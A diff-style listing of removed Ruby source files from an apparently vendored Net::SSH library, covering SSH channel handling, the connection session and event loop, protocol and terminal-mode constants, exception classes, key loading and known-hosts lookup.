connection.forward.agent(self) if connection.options[:forward_agent] && type == "session"
@on_confirm_open.call(self) if @on_confirm_open
end
# Invoked when the server failed to open the channel. If an #on_open_failed
# callback was specified, it will be invoked with the channel, reason code,
# and description as arguments. Otherwise, a ChannelOpenFailed exception
# will be raised.
def do_open_failed(reason_code, description)
if @on_open_failed
@on_open_failed.call(self, reason_code, description)
else
raise ChannelOpenFailed.new(reason_code, description)
end
end
# Invoked when the server sends a CHANNEL_WINDOW_ADJUST packet, and
# causes the remote window size to be adjusted upwards by the given
# number of bytes. This has the effect of allowing more data to be sent
# from the local end to the remote end of the channel.
def do_window_adjust(bytes) #:nodoc:
@remote_maximum_window_size += bytes
@remote_window_size += bytes
end
# Invoked when the server sends a channel request. If any #on_request
# callback has been registered for the specific type of this request,
# it is invoked. If +want_reply+ is true, a packet will be sent of
# either CHANNEL_SUCCESS or CHANNEL_FAILURE type. If there was no callback
# to handle the request, CHANNEL_FAILURE will be sent. Otherwise,
# CHANNEL_SUCCESS, unless the callback raised ChannelRequestFailed. The
# callback should accept the channel as the first argument, and the
# request-specific data as the second.
def do_request(request, want_reply, data) #:nodoc:
result = true
begin
callback = @on_request[request] or raise ChannelRequestFailed
callback.call(self, data)
rescue ChannelRequestFailed
result = false
end
if want_reply
msg = Buffer.from(:byte, result ? CHANNEL_SUCCESS : CHANNEL_FAILURE, :long, remote_id)
connection.send_message(msg)
end
end
# Invokes the #on_data callback when the server sends data to the
# channel. This will reduce the available window size on the local end,
# but does not actually throttle requests that come in illegally when
# the window size is too small. The callback is invoked with the channel
# as the first argument, and the data as the second.
def do_data(data) #:nodoc:
update_local_window_size(data.length)
@on_data.call(self, data) if @on_data
end
# Invokes the #on_extended_data callback when the server sends
# extended data to the channel. This will reduce the available window
# size on the local end. The callback is invoked with the channel,
# type, and data.
def do_extended_data(type, data)
update_local_window_size(data.length)
@on_extended_data.call(self, type, data) if @on_extended_data
end
# Invokes the #on_eof callback when the server indicates that no
# further data is forthcoming. The callback is invoked with the channel
# as the argument.
def do_eof
@on_eof.call(self) if @on_eof
end
# Invokes the #on_close callback when the server closes a channel.
# The channel is the only argument.
def do_close
@on_close.call(self) if @on_close
end
# Invokes the next pending request callback with +false+ as the second
# argument.
def do_failure
if callback = pending_requests.shift
callback.call(self, false)
else
error { "channel failure recieved with no pending request to handle it (bug?)" }
end
end
# Invokes the next pending request callback with +true+ as the second
# argument.
def do_success
if callback = pending_requests.shift
callback.call(self, true)
else
error { "channel success recieved with no pending request to handle it (bug?)" }
end
end
private
# Updates the local window size by the given amount. If the window
# size drops to less than half of the local maximum (an arbitrary
# threshold), a CHANNEL_WINDOW_ADJUST message will be sent to the
# server telling it that the window size has grown.
def update_local_window_size(size)
@local_window_size -= size
if local_window_size < local_maximum_window_size/2
connection.send_message(Buffer.from(:byte, CHANNEL_WINDOW_ADJUST,
:long, remote_id, :long, 0x20000))
@local_window_size += 0x20000
@local_maximum_window_size += 0x20000
end
end
end
end; end; end
-34
View File
@@ -1,34 +0,0 @@
# -*- coding: binary -*-
module Net; module SSH; module Connection
# Definitions of constants that are specific to the connection layer of the
# SSH protocol.
module Constants
#--
# Connection protocol generic messages
#++
GLOBAL_REQUEST = 80
REQUEST_SUCCESS = 81
REQUEST_FAILURE = 82
#--
# Channel related messages
#++
CHANNEL_OPEN = 90
CHANNEL_OPEN_CONFIRMATION = 91
CHANNEL_OPEN_FAILURE = 92
CHANNEL_WINDOW_ADJUST = 93
CHANNEL_DATA = 94
CHANNEL_EXTENDED_DATA = 95
CHANNEL_EOF = 96
CHANNEL_CLOSE = 97
CHANNEL_REQUEST = 98
CHANNEL_SUCCESS = 99
CHANNEL_FAILURE = 100
end
end; end end
-600
View File
@@ -1,600 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/loggable'
require 'net/ssh/connection/channel'
require 'net/ssh/connection/constants'
require 'net/ssh/service/forward'
module Net; module SSH; module Connection
# A session class representing the connection service running on top of
# the SSH transport layer. It manages the creation of channels (see
# #open_channel), and the dispatching of messages to the various channels.
# It also encapsulates the SSH event loop (via #loop and #process),
# and serves as a central point-of-reference for all SSH-related services (e.g.
# port forwarding, SFTP, SCP, etc.).
#
# You will rarely (if ever) need to instantiate this class directly; rather,
# you'll almost always use Net::SSH.start to initialize a new network
# connection, authenticate a user, and return a new connection session,
# all in one call.
#
# Net::SSH.start("localhost", "user") do |ssh|
# # 'ssh' is an instance of Net::SSH::Connection::Session
# ssh.exec! "/etc/init.d/some_process start"
# end
class Session
include Constants, Loggable
# The underlying transport layer abstraction (see Net::SSH::Transport::Session).
attr_reader :transport
# The map of options that were used to initialize this instance.
attr_reader :options
# The collection of custom properties for this instance. (See #[] and #[]=).
attr_reader :properties
# The map of channels, each key being the local-id for the channel.
attr_reader :channels #:nodoc:
# The map of listeners that the event loop knows about. See #listen_to.
attr_reader :listeners #:nodoc:
# The map of specialized handlers for opening specific channel types. See
# #on_open_channel.
attr_reader :channel_open_handlers #:nodoc:
# The list of callbacks for pending requests. See #send_global_request.
attr_reader :pending_requests #:nodoc:
# when a successful auth is made, note the auth info if session.options[:record_auth_info]
attr_accessor :auth_info
class NilChannel
def initialize(session)
@session = session
end
def method_missing(sym, *args)
@session.lwarn { "ignoring request #{sym.inspect} for non-existent (closed?) channel; probably ssh server bug" }
end
end
# Create a new connection service instance atop the given transport
# layer. Initializes the listeners to be only the underlying socket object.
def initialize(transport, options={})
self.logger = transport.logger
@transport = transport
@options = options
@channel_id_counter = -1
@channels = Hash.new(NilChannel.new(self))
@listeners = { transport.socket => nil }
@pending_requests = []
@channel_open_handlers = {}
@on_global_request = {}
@properties = (options[:properties] || {}).dup
end
# Retrieves a custom property from this instance. This can be used to
# store additional state in applications that must manage multiple
# SSH connections.
def [](key)
@properties[key]
end
# Sets a custom property for this instance.
def []=(key, value)
@properties[key] = value
end
# Returns the name of the host that was given to the transport layer to
# connect to.
def host
transport.host
end
# Returns true if the underlying transport has been closed. Note that
# this can be a little misleading, since if the remote server has
# closed the connection, the local end will still think it is open
# until the next operation on the socket. Nevertheless, this method can
# be useful if you just want to know if _you_ have closed the connection.
def closed?
transport.closed?
end
# Closes the session gracefully, blocking until all channels have
# successfully closed, and then closes the underlying transport layer
# connection.
def close
info { "closing remaining channels (#{channels.length} open)" }
channels.each { |id, channel| channel.close }
loop { channels.any? }
transport.close
end
# Performs a "hard" shutdown of the connection. In general, this should
# never be done, but it might be necessary (in a rescue clause, for instance,
# when the connection needs to close but you don't know the status of the
# underlying protocol's state).
def shutdown!
transport.shutdown!
end
# preserve a reference to Kernel#loop
alias :loop_forever :loop
# Returns +true+ if there are any channels currently active on this
# session. By default, this will not include "invisible" channels
# (such as those created by forwarding ports and such), but if you pass
# a +true+ value for +include_invisible+, then those will be counted.
#
# This can be useful for determining whether the event loop should continue
# to be run.
#
# ssh.loop { ssh.busy? }
def busy?(include_invisible=false)
if include_invisible
channels.any?
else
channels.any? { |id, ch| !ch[:invisible] }
end
end
# The main event loop. Calls #process until #process returns false. If a
# block is given, it is passed to #process, otherwise a default proc is
# used that just returns true if there are any channels active (see #busy?).
# The # +wait+ parameter is also passed through to #process (where it is
# interpreted as the maximum number of seconds to wait for IO.select to return).
#
# # loop for as long as there are any channels active
# ssh.loop
#
# # loop for as long as there are any channels active, but make sure
# # the event loop runs at least once per 0.1 second
# ssh.loop(0.1)
#
# # loop until ctrl-C is pressed
# int_pressed = false
# trap("INT") { int_pressed = true }
# ssh.loop(0.1) { not int_pressed }
def loop(wait=nil, &block)
running = block || Proc.new { busy? }
loop_forever { break unless process(wait, &running) }
end
# The core of the event loop. It processes a single iteration of the event
# loop. If a block is given, it should return false when the processing
# should abort, which causes #process to return false. Otherwise,
# #process returns true. The session itself is yielded to the block as its
# only argument.
#
# If +wait+ is nil (the default), this method will block until any of the
# monitored IO objects are ready to be read from or written to. If you want
# it to not block, you can pass 0, or you can pass any other numeric value
# to indicate that it should block for no more than that many seconds.
# Passing 0 is a good way to poll the connection, but if you do it too
# frequently it can make your CPU quite busy!
#
# This will also cause all active channels to be processed once each (see
# Net::SSH::Connection::Channel#on_process).
#
# # process multiple Net::SSH connections in parallel
# connections = [
# Net::SSH.start("host1", ...),
# Net::SSH.start("host2", ...)
# ]
#
# connections.each do |ssh|
# ssh.exec "grep something /in/some/files"
# end
#
# condition = Proc.new { |s| s.busy? }
#
# loop do
# connections.delete_if { |ssh| !ssh.process(0.1, &condition) }
# break if connections.empty?
# end
def process(wait=nil, &block)
return false unless preprocess(&block)
r = listeners.keys
w = r.select { |w2| w2.respond_to?(:pending_write?) && w2.pending_write? }
readers, writers, = IO.select(r, w, nil, wait)
postprocess(readers, writers)
end
# This is called internally as part of #process. It dispatches any
# available incoming packets, and then runs Net::SSH::Connection::Channel#process
# for any active channels. If a block is given, it is invoked at the
# start of the method and again at the end, and if the block ever returns
# false, this method returns false. Otherwise, it returns true.
def preprocess
return false if block_given? && !yield(self)
dispatch_incoming_packets
channels.each { |id, channel| channel.process unless channel.closing? }
return false if block_given? && !yield(self)
return true
end
# This is called internally as part of #process. It loops over the given
# arrays of reader IO's and writer IO's, processing them as needed, and
# then calls Net::SSH::Transport::Session#rekey_as_needed to allow the
# transport layer to rekey. Then returns true.
def postprocess(readers, writers)
Array(readers).each do |reader|
if listeners[reader]
listeners[reader].call(reader)
else
if reader.fill.zero?
reader.close
stop_listening_to(reader)
end
end
end
Array(writers).each do |writer|
writer.send_pending
end
transport.rekey_as_needed
return true
end
# Send a global request of the given type. The +extra+ parameters must
# be even in number, and conform to the same format as described for
# Net::SSH::Buffer.from. If a callback is not specified, the request will
# not require a response from the server, otherwise the server is required
# to respond and indicate whether the request was successful or not. This
# success or failure is indicated by the callback being invoked, with the
# first parameter being true or false (success, or failure), and the second
# being the packet itself.
#
# Generally, Net::SSH will manage global requests that need to be sent
# (e.g. port forward requests and such are handled in the Net::SSH::Service::Forward
# class, for instance). However, there may be times when you need to
# send a global request that isn't explicitly handled by Net::SSH, and so
# this method is available to you.
#
# ssh.send_global_request("keep-alive@openssh.com")
def send_global_request(type, *extra, &callback)
info { "sending global request #{type}" }
msg = Buffer.from(:byte, GLOBAL_REQUEST, :string, type.to_s, :bool, !callback.nil?, *extra)
send_message(msg)
pending_requests << callback if callback
self
end
# Requests that a new channel be opened. By default, the channel will be
# of type "session", but if you know what you're doing you can select any
# of the channel types supported by the SSH protocol. The +extra+ parameters
# must be even in number and conform to the same format as described for
# Net::SSH::Buffer.from. If a callback is given, it will be invoked when
# the server confirms that the channel opened successfully. The sole parameter
# for the callback is the channel object itself.
#
# In general, you'll use #open_channel without any arguments; the only
# time you'd want to set the channel type or pass additional initialization
# data is if you were implementing an SSH extension.
#
# channel = ssh.open_channel do |ch|
# ch.exec "grep something /some/files" do |ch, success|
# ...
# end
# end
#
# channel.wait
def open_channel(type="session", *extra, &on_confirm)
local_id = get_next_channel_id
channel = Channel.new(self, type, local_id, &on_confirm)
msg = Buffer.from(:byte, CHANNEL_OPEN, :string, type, :long, local_id,
:long, channel.local_maximum_window_size,
:long, channel.local_maximum_packet_size, *extra)
send_message(msg)
channels[local_id] = channel
end
# A convenience method for executing a command and interacting with it. If
# no block is given, all output is printed via $stdout and $stderr. Otherwise,
# the block is called for each data and extended data packet, with three
# arguments: the channel object, a symbol indicating the data type
# (:stdout or :stderr), and the data (as a string).
#
# Note that this method returns immediately, and requires an event loop
# (see Session#loop) in order for the command to actually execute.
#
# This is effectively identical to calling #open_channel, and then
# Net::SSH::Connection::Channel#exec, and then setting up the channel
# callbacks. However, for most uses, this will be sufficient.
#
# ssh.exec "grep something /some/files" do |ch, stream, data|
# if stream == :stderr
# puts "ERROR: #{data}"
# else
# puts data
# end
# end
def exec(command, &block)
open_channel do |channel|
channel.exec(command) do |ch, success|
raise "could not execute command: #{command.inspect}" unless success
channel.on_data do |ch2, data|
if block
block.call(ch2, :stdout, data)
else
$stdout.print(data)
end
end
channel.on_extended_data do |ch2, type, data|
if block
block.call(ch2, :stderr, data)
else
$stderr.print(data)
end
end
end
end
end
# Same as #exec, except this will block until the command finishes. Also,
# if a block is not given, this will return all output (stdout and stderr)
# as a single string.
#
# matches = ssh.exec!("grep something /some/files")
def exec!(command, &block)
block ||= Proc.new do |ch, type, data|
ch[:result] ||= ""
ch[:result] << data
end
channel = exec(command, &block)
channel.wait
return channel[:result]
end
# Enqueues a message to be sent to the server as soon as the socket is
# available for writing. Most programs will never need to call this, but
# if you are implementing an extension to the SSH protocol, or if you
# need to send a packet that Net::SSH does not directly support, you can
# use this to send it.
#
# ssh.send_message(Buffer.from(:byte, REQUEST_SUCCESS).to_s)
def send_message(message)
transport.enqueue_message(message)
end
# Adds an IO object for the event loop to listen to. If a callback
# is given, it will be invoked when the io is ready to be read, otherwise,
# the io will merely have its #fill method invoked.
#
# Any +io+ value passed to this method _must_ have mixed into it the
# Net::SSH::BufferedIo functionality, typically by calling #extend on the
# object.
#
# The following example executes a process on the remote server, opens
# a socket to somewhere, and then pipes data from that socket to the
# remote process' stdin stream:
#
# channel = ssh.open_channel do |ch|
# ch.exec "/some/process/that/wants/input" do |ch, success|
# abort "can't execute!" unless success
#
# io = Rex::Socket::Tcp.create( ... somewhere, ... port ... )
# io.extend(Net::SSH::BufferedIo)
# ssh.listen_to(io)
#
# ch.on_process do
# if io.available > 0
# ch.send_data(io.read_available)
# end
# end
#
# ch.on_close do
# ssh.stop_listening_to(io)
# io.close
# end
# end
# end
#
# channel.wait
def listen_to(io, &callback)
listeners[io] = callback
end
# Removes the given io object from the listeners collection, so that the
# event loop will no longer monitor it.
def stop_listening_to(io)
listeners.delete(io)
end
# Returns a reference to the Net::SSH::Service::Forward service, which can
# be used for forwarding ports over SSH.
def forward
@forward ||= Service::Forward.new(self)
end
# Registers a handler to be invoked when the server wants to open a
# channel on the client. The callback receives the connection object,
# the new channel object, and the packet itself as arguments, and should
# raise ChannelOpenFailed if it is unable to open the channel for some
# reason. Otherwise, the channel will be opened and a confirmation message
# sent to the server.
#
# This is used by the Net::SSH::Service::Forward service to open a channel
# when a remote forwarded port receives a connection. However, you are
# welcome to register handlers for other channel types, as needed.
def on_open_channel(type, &block)
channel_open_handlers[type] = block
end
# Registers a handler to be invoked when the server sends a global request
# of the given type. The callback receives the request data as the first
# parameter, and true/false as the second (indicating whether a response
# is required). If the callback sends the response, it should return
# :sent. Otherwise, if it returns true, REQUEST_SUCCESS will be sent, and
# if it returns false, REQUEST_FAILURE will be sent.
def on_global_request(type, &block)
old, @on_global_request[type] = @on_global_request[type], block
old
end
private
# Read all pending packets from the connection and dispatch them as
# appropriate. Returns as soon as there are no more pending packets.
def dispatch_incoming_packets
while packet = transport.poll_message
unless MAP.key?(packet.type)
raise Net::SSH::Exception, "unexpected response #{packet.type} (#{packet.inspect})"
end
send(MAP[packet.type], packet)
end
end
# Returns the next available channel id to be assigned, and increments
# the counter.
def get_next_channel_id
@channel_id_counter += 1
end
# Invoked when a global request is received. The registered global
# request callback will be invoked, if one exists, and the necessary
# reply returned.
def global_request(packet)
info { "global request received: #{packet[:request_type]} #{packet[:want_reply]}" }
callback = @on_global_request[packet[:request_type]]
result = callback ? callback.call(packet[:request_data], packet[:want_reply]) : false
if result != :sent && result != true && result != false
raise "expected global request handler for `#{packet[:request_type]}' to return true, false, or :sent, but got #{result.inspect}"
end
if packet[:want_reply] && result != :sent
msg = Buffer.from(:byte, result ? REQUEST_SUCCESS : REQUEST_FAILURE)
send_message(msg)
end
end
# Invokes the next pending request callback with +true+.
def request_success(packet)
info { "global request success" }
callback = pending_requests.shift
callback.call(true, packet) if callback
end
# Invokes the next pending request callback with +false+.
def request_failure(packet)
info { "global request failure" }
callback = pending_requests.shift
callback.call(false, packet) if callback
end
# Called when the server wants to open a channel. If no registered
# channel handler exists for the given channel type, CHANNEL_OPEN_FAILURE
# is returned, otherwise the callback is invoked and everything proceeds
# accordingly.
def channel_open(packet)
info { "channel open #{packet[:channel_type]}" }
local_id = get_next_channel_id
channel = Channel.new(self, packet[:channel_type], local_id)
channel.do_open_confirmation(packet[:remote_id], packet[:window_size], packet[:packet_size])
callback = channel_open_handlers[packet[:channel_type]]
if callback
begin
callback[self, channel, packet]
rescue ChannelOpenFailed => err
failure = [err.code, err.reason]
else
channels[local_id] = channel
msg = Buffer.from(:byte, CHANNEL_OPEN_CONFIRMATION, :long, channel.remote_id, :long, channel.local_id, :long, channel.local_maximum_window_size, :long, channel.local_maximum_packet_size)
end
else
failure = [3, "unknown channel type #{channel.type}"]
end
if failure
error { failure.inspect }
msg = Buffer.from(:byte, CHANNEL_OPEN_FAILURE, :long, channel.remote_id, :long, failure[0], :string, failure[1], :string, "")
end
send_message(msg)
end
def channel_open_confirmation(packet)
info { "channel_open_confirmation: #{packet[:local_id]} #{packet[:remote_id]} #{packet[:window_size]} #{packet[:packet_size]}" }
channel = channels[packet[:local_id]]
channel.do_open_confirmation(packet[:remote_id], packet[:window_size], packet[:packet_size])
end
def channel_open_failure(packet)
error { "channel_open_failed: #{packet[:local_id]} #{packet[:reason_code]} #{packet[:description]}" }
channel = channels.delete(packet[:local_id])
channel.do_open_failed(packet[:reason_code], packet[:description])
end
def channel_window_adjust(packet)
info { "channel_window_adjust: #{packet[:local_id]} +#{packet[:extra_bytes]}" }
channels[packet[:local_id]].do_window_adjust(packet[:extra_bytes])
end
def channel_request(packet)
info { "channel_request: #{packet[:local_id]} #{packet[:request]} #{packet[:want_reply]}" }
channels[packet[:local_id]].do_request(packet[:request], packet[:want_reply], packet[:request_data])
end
def channel_data(packet)
info { "channel_data: #{packet[:local_id]} #{packet[:data].length}b" }
channels[packet[:local_id]].do_data(packet[:data])
end
def channel_extended_data(packet)
info { "channel_extended_data: #{packet[:local_id]} #{packet[:data_type]} #{packet[:data].length}b" }
channels[packet[:local_id]].do_extended_data(packet[:data_type], packet[:data])
end
def channel_eof(packet)
info { "channel_eof: #{packet[:local_id]}" }
channels[packet[:local_id]].do_eof
end
def channel_close(packet)
info { "channel_close: #{packet[:local_id]}" }
channel = channels[packet[:local_id]]
channel.close
channels.delete(packet[:local_id])
channel.do_close
end
def channel_success(packet)
info { "channel_success: #{packet[:local_id]}" }
channels[packet[:local_id]].do_success
end
def channel_failure(packet)
info { "channel_failure: #{packet[:local_id]}" }
channels[packet[:local_id]].do_failure
end
MAP = Constants.constants.inject({}) do |memo, name|
value = const_get(name)
next unless Integer === value
memo[value] = name.downcase.to_sym
memo
end
end
end; end; end
-179
View File
@@ -1,179 +0,0 @@
# -*- coding: binary -*-
module Net; module SSH; module Connection
# These constants are used when requesting a pseudo-terminal (via
# Net::SSH::Connection::Channel#request_pty). The descriptions for each are
# taken directly from RFC 4254 ("The Secure Shell (SSH) Connection Protocol"),
# http://tools.ietf.org/html/rfc4254.
module Term
# Interrupt character; 255 if none. Similarly for the other characters.
# Not all of these characters are supported on all systems.
VINTR = 1
# The quit character (sends SIGQUIT signal on POSIX systems).
VQUIT = 2
# Erase the character to left of the cursor.
VERASE = 3
# Kill the current input line.
VKILL = 4
# End-of-file character (sends EOF from the terminal).
VEOF = 5
# End-of-line character in addition to carriage return and/or linefeed.
VEOL = 6
# Additional end-of-line character.
VEOL2 = 7
# Continues paused output (normally control-Q).
VSTART = 8
# Pauses output (normally control-S).
VSTOP = 9
# Suspends the current program.
VSUSP = 10
# Another suspend character.
VDSUSP = 11
# Reprints the current input line.
VREPRINT = 12
# Erases a word left of cursor.
VWERASE = 13
# Enter the next character typed literally, even if it is a special
# character.
VLNEXT = 14
# Character to flush output.
VFLUSH = 15
# Switch to a different shell layer.
VSWITCH = 16
# Prints system status line (load, command, pid, etc).
VSTATUS = 17
# Toggles the flushing of terminal output.
VDISCARD = 18
# The ignore parity flag. The parameter SHOULD be 0 if this flag is FALSE,
# and 1 if it is TRUE.
IGNPAR = 30
# Mark parity and framing errors.
PARMRK = 31
# Enable checking of parity errors.
INPCK = 32
# Strip 8th bit off characters.
ISTRIP = 33
# Map NL into CR on input.
INCLR = 34
# Ignore CR on input.
IGNCR = 35
# Map CR to NL on input.
ICRNL = 36
# Translate uppercase characters to lowercase.
IUCLC = 37
# Enable output flow control.
IXON = 38
# Any char will restart after stop.
IXANY = 39
# Enable input flow control.
IXOFF = 40
# Ring bell on input queue full.
IMAXBEL = 41
# Enable signals INTR, QUIT, [D]SUSP.
ISIG = 50
# Canonicalize input lines.
ICANON = 51
# Enable input and output of uppercase characters by preceding their
# lowercase equivalents with "\".
XCASE = 52
# Enable echoing.
ECHO = 53
# Visually erase chars.
ECHOE = 54
# Kill character discards current line.
ECHOK = 55
# Echo NL even if ECHO is off.
ECHONL = 56
# Don't flush after interrupt.
NOFLSH = 57
# Stop background jobs from output.
TOSTOP= 58
# Enable extensions.
IEXTEN = 59
# Echo control characters as ^(Char).
ECHOCTL = 60
# Visual erase for line kill.
ECHOKE = 61
# Retype pending input.
PENDIN = 62
# Enable output processing.
OPOST = 70
# Convert lowercase to uppercase.
OLCUC = 71
# Map NL to CR-NL.
ONLCR = 72
# Translate carriage return to newline (output).
OCRNL = 73
# Translate newline to carriage return-newline (output).
ONOCR = 74
# Newline performs a carriage return (output).
ONLRET = 75
# 7 bit mode.
CS7 = 90
# 8 bit mode.
CS8 = 91
# Parity enable.
PARENB = 92
# Odd parity, else even.
PARODD = 93
# Specifies the input baud rate in bits per second.
TTY_OP_ISPEED = 128
# Specifies the output baud rate in bits per second.
TTY_OP_OSPEED = 129
end
end; end; end
-86
View File
@@ -1,86 +0,0 @@
# -*- coding: binary -*-
module Net; module SSH
# A general exception class, to act as the ancestor of all other Net::SSH
# exception classes.
class Exception < ::RuntimeError; end
# This exception is raised when authentication fails (whether it be
# public key authentication, password authentication, or whatever).
class AuthenticationFailed < Exception; end
# This exception is raised when the remote host has disconnected
# unexpectedly.
class Disconnect < Exception; end
# This exception is primarily used internally, but if you have a channel
# request handler (see Net::SSH::Connection::Channel#on_request) that you
# want to fail in such a way that the server knows it failed, you can
# raise this exception in the handler and Net::SSH will translate that into
# a "channel failure" message.
class ChannelRequestFailed < Exception; end
# This is exception is primarily used internally, but if you have a channel
# open handler (see Net::SSH::Connection::Session#on_open_channel) and you
# want to fail in such a way that the server knows it failed, you can
# raise this exception in the handler and Net::SSH will translate that into
# a "channel open failed" message.
class ChannelOpenFailed < Exception
attr_reader :code, :reason
def initialize(code, reason)
@code, @reason = code, reason
super "#{reason} (#{code})"
end
end
# Raised when the cached key for a particular host does not match the
# key given by the host, which can be indicative of a man-in-the-middle
# attack. When rescuing this exception, you can inspect the key fingerprint
# and, if you want to proceed anyway, simply call the remember_host!
# method on the exception, and then retry.
class HostKeyMismatch < Exception
# the callback to use when #remember_host! is called
attr_writer :callback #:nodoc:
# situation-specific data describing the host (see #host, #port, etc.)
attr_writer :data #:nodoc:
# An accessor for getting at the data that was used to look up the host
# (see also #fingerprint, #host, #port, #ip, and #key).
def [](key)
@data && @data[key]
end
# Returns the fingerprint of the key for the host, which either was not
# found or did not match.
def fingerprint
@data && @data[:fingerprint]
end
# Returns the host name for the remote host, as reported by the socket.
def host
@data && @data[:peer] && @data[:peer][:host]
end
# Returns the port number for the remote host, as reported by the socket.
def port
@data && @data[:peer] && @data[:peer][:port]
end
# Returns the IP address of the remote host, as reported by the socket.
def ip
@data && @data[:peer] && @data[:peer][:ip]
end
# Returns the key itself, as reported by the remote host.
def key
@data && @data[:key]
end
# Tell Net::SSH to record this host and key in the known hosts file, so
# that subsequent connections will remember them.
def remember_host!
@callback.call
end
end
end; end
-103
View File
@@ -1,103 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/transport/openssl'
require 'net/ssh/prompt'
module Net; module SSH
# A factory class for returning new Key classes. It is used for obtaining
# OpenSSL key instances via their SSH names, and for loading both public and
# private keys. It used used primarily by Net::SSH itself, internally, and
# will rarely (if ever) be directly used by consumers of the library.
#
# klass = Net::SSH::KeyFactory.get("rsa")
# assert klass.is_a?(OpenSSL::PKey::RSA)
#
# key = Net::SSH::KeyFacory.load_public_key("~/.ssh/id_dsa.pub")
class KeyFactory
# Specifies the mapping of SSH names to OpenSSL key classes.
MAP = {
"dh" => OpenSSL::PKey::DH,
"rsa" => OpenSSL::PKey::RSA,
"dsa" => OpenSSL::PKey::DSA
}
class <<self
include Prompt
# Fetch an OpenSSL key instance by its SSH name. It will be a new,
# empty key of the given type.
def get(name)
MAP.fetch(name).new
end
# Loads a private key from a file. It will correctly determine
# whether the file describes an RSA or DSA key, and will load it
# appropriately. The new key is returned. If the key itself is
# encrypted (requiring a passphrase to use), the user will be
# prompted to enter their password unless passphrase works.
def load_private_key(filename, passphrase=nil, ask_passphrase=true)
data = File.open(File.expand_path(filename), "rb") {|f| f.read(f.stat.size)}
load_data_private_key(data, passphrase, ask_passphrase, filename)
end
# Loads a private key. It will correctly determine
# whether the file describes an RSA or DSA key, and will load it
# appropriately. The new key is returned. If the key itself is
# encrypted (requiring a passphrase to use), the user will be
# prompted to enter their password unless passphrase works.
def load_data_private_key(data, passphrase=nil, ask_passphrase= true, filename="")
if data.match(/-----BEGIN DSA PRIVATE KEY-----/)
key_type = OpenSSL::PKey::DSA
elsif data.match(/-----BEGIN RSA PRIVATE KEY-----/)
key_type = OpenSSL::PKey::RSA
elsif data.match(/-----BEGIN (.*) PRIVATE KEY-----/)
raise OpenSSL::PKey::PKeyError, "not a supported key type '#{$1}'"
else
raise OpenSSL::PKey::PKeyError, "not a private key (#{filename})"
end
encrypted_key = data.match(/ENCRYPTED/)
tries = 0
begin
return key_type.new(data, passphrase || 'invalid')
rescue OpenSSL::PKey::RSAError, OpenSSL::PKey::DSAError => e
if encrypted_key && ask_passphrase
tries += 1
if tries <= 3
passphrase = prompt("Enter passphrase for #{filename}:", false)
retry
else
raise
end
else
raise
end
end
end
# Loads a public key from a file. It will correctly determine whether
# the file describes an RSA or DSA key, and will load it
# appropriately. The new public key is returned.
def load_public_key(filename)
data = File.read(File.expand_path(filename))
load_data_public_key(data, filename)
end
# Loads a public key. It will correctly determine whether
# the file describes an RSA or DSA key, and will load it
# appropriately. The new public key is returned.
def load_data_public_key(data, filename="")
type, blob = data.split(/ /)
raise Net::SSH::Exception, "public key at #{filename} is not valid" if blob.nil?
blob = blob.unpack("m*").first
reader = Net::SSH::Buffer.new(blob)
reader.read_key or raise OpenSSL::PKey::PKeyError, "not a public key #{filename.inspect}"
end
end
end
end; end
-133
View File
@@ -1,133 +0,0 @@
# -*- coding: binary -*-
require 'strscan'
require 'net/ssh/buffer'
module Net; module SSH
# Searches an OpenSSH-style known-host file for a given host, and returns all
# matching keys. This is used to implement host-key verification, as well as
# to determine what key a user prefers to use for a given host.
#
# This is used internally by Net::SSH, and will never need to be used directly
# by consumers of the library.
class KnownHosts
class <<self
# Searches all known host files (see KnownHosts.hostfiles) for all keys
# of the given host. Returns an array of keys found.
def search_for(host, options={})
search_in(hostfiles(options), host)
end
# Search for all known keys for the given host, in every file given in
# the +files+ array. Returns the list of keys.
def search_in(files, host)
files.map { |file| KnownHosts.new(file).keys_for(host) }.flatten
end
# Looks in the given +options+ hash for the :user_known_hosts_file and
# :global_known_hosts_file keys, and returns an array of all known
# hosts files. If the :user_known_hosts_file key is not set, the
# default is returned (~/.ssh/known_hosts and ~/.ssh/known_hosts2). If
# :global_known_hosts_file is not set, the default is used
# (/etc/ssh/known_hosts and /etc/ssh/known_hosts2).
#
# If you only want the user known host files, you can pass :user as
# the second option.
def hostfiles(options, which=:all)
files = []
if which == :all || which == :user
files += Array(options[:user_known_hosts_file] || %w(~/.ssh/known_hosts ~/.ssh/known_hosts2))
end
if which == :all || which == :global
files += Array(options[:global_known_hosts_file] || %w(/etc/ssh/known_hosts /etc/ssh/known_hosts2))
end
return files
end
# Looks in all user known host files (see KnownHosts.hostfiles) and tries to
# add an entry for the given host and key to the first file it is able
# to.
def add(host, key, options={})
hostfiles(options, :user).each do |file|
begin
KnownHosts.new(file).add(host, key)
return
rescue SystemCallError
# try the next hostfile
end
end
end
end
# The host-key file name that this KnownHosts instance will use to search
# for keys.
attr_reader :source
# Instantiate a new KnownHosts instance that will search the given known-hosts
# file. The path is expanded file File.expand_path.
def initialize(source)
@source = File.expand_path(source)
end
# Returns an array of all keys that are known to be associatd with the
# given host. The +host+ parameter is either the domain name or ip address
# of the host, or both (comma-separated). Additionally, if a non-standard
# port is being used, it may be specified by putting the host (or ip, or
# both) in square brackets, and appending the port outside the brackets
# after a colon. Possible formats for +host+, then, are;
#
# "net.ssh.test"
# "1.2.3.4"
# "net.ssh.test,1.2.3.4"
# "[net.ssh.test]:5555"
# "[1,2,3,4]:5555"
# "[net.ssh.test]:5555,[1.2.3.4]:5555
def keys_for(host)
keys = []
return keys unless File.readable?(source)
entries = host.split(/,/)
File.open(source) do |file|
scanner = StringScanner.new("")
file.each_line do |line|
scanner.string = line
scanner.skip(/\s*/)
next if scanner.match?(/$|#/)
hostlist = scanner.scan(/\S+/).split(/,/)
next unless entries.all? { |entry| hostlist.include?(entry) }
scanner.skip(/\s*/)
type = scanner.scan(/\S+/)
next unless %w(ssh-rsa ssh-dss).include?(type)
scanner.skip(/\s*/)
blob = scanner.rest.unpack("m*").first
keys << Net::SSH::Buffer.new(blob).read_key
end
end
keys
end
# Tries to append an entry to the current source file for the given host
# and key. If it is unable to (because the file is not writable, for
# instance), an exception will be raised.
def add(host, key)
# Forget that. No way I want this thing writing to my known_hosts file.
# Some day, make this configurable. Until that day, off by default.
return
File.open(source, "a") do |file|
blob = [Net::SSH::Buffer.from(:key, key).to_s].pack("m*").gsub(/\s/, "")
file.puts "#{host} #{key.ssh_type} #{blob}"
end
end
end
end; end
-62
View File
@@ -1,62 +0,0 @@
# -*- coding: binary -*-
